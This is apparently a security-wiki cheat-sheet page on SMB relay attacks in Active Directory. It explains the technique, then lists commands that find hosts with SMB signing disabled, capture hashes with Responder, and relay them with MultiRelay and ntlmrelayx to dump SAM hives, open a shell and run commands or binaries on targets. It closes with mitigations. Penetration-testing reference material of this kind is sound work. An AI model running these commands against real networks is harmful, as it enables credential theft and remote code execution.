> For the complete documentation index, see [llms.txt](https://wiki.bufu-sec.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.bufu-sec.com/active-directory/mitm_relay/smb_relay.md).

# SMB Relay

## What is SMB Relay?

* Capture hashes
* Relay them to other hosts to authenticate
* No need to crack hashes with hashcat

## Requirements

* SMB signing must be disabled on the target
* SMB signing checks authenticity of SMB packets
* Relayed user credentials must be admin on target machine

## Exploitation

```bash
# Discover hosts with SMB signing disabled
python RunFinger.py -i 10.0.0.2/24
nmap --script=smb2-security-mode -p 445 -v 10.10.10.0/24

# Turn off HTTP and SMB in Responder.conf
nvim Responder.conf

# Start responder
python Responder.py -I tun0 -rdwv

# Set up relay

# Target specific host
python MultiRelay.py -t 10.0.2.4 -u ALL

# Target multiple hosts

# Dump SAM hive
python ntlmrelayx.py -tf targets.txt -smb2support

# Interactive SMB shell
python ntlmrelayx.py -tf targets.txt -smb2support -i
nc 127.0.0.1 11000

# Execute command
python ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"

# Execute binary
python ntlmrelayx.py -tf targets.txt -smb2support -e "shell.exe"
```

## Mitigation

* Enable SMB signing on all devices (may cause performance issues with file copies)
* Disable NTLM authentication on the network but Windows can default back to it if Kerberos stops working
* Account tiering: limit domain admins to specific tasks
* Local admin restriction (can increase service deskt tickets)